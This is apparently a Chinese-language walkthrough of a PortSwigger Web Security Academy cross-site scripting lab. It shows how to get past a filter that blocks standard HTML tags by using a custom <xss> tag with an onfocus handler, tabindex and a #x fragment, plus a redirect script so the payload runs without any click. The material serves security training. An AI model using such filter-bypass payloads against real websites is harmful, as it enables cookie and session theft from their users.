# Cross-site scripting Lab15
本題是在只允許自定義 tag 的情況下,如何設計能自動執行的 XSS payload。
做前須知目標:
- 所有標準 HTML tag(像是 `<script>`、`<img>`)都被擋。
- 唯獨 「非標準、自定義 tag」 不會被擋,例如 `<xss>`。
- XSS payload 需要自動觸發(無需點擊、滑鼠、手動操作)。
- 要注入能自動觸發 alert(document.cookie) 的程式碼。
一樣先進入網站。

我們注入一個自定義 HTML tag:
```
<xss id=x onfocus=alert(document.cookie) tabindex=1>
```
這個 tag 有個 onfocus 事件,當它被 focus 時會執行 alert(),加上 `tabindex=1` 是讓這個元素可以被 focus 到。
URL 最後加上 #x 是告訴瀏覽器自動跳轉到 ID 為 x 的元素,進而觸發 onfocus。
```
https://0a5b00a1034b67208024854b00640036.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29+tabindex%3D1%3E#x
```
- `%3C` = <
- `%3E` = >
- `+` = 空格
- `%28` = (
- `%29` = )
```
<script>
location = 'https://0a5b00a1034b67208024854b00640036.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29+tabindex%3D1%3E#x';
</script>
```


---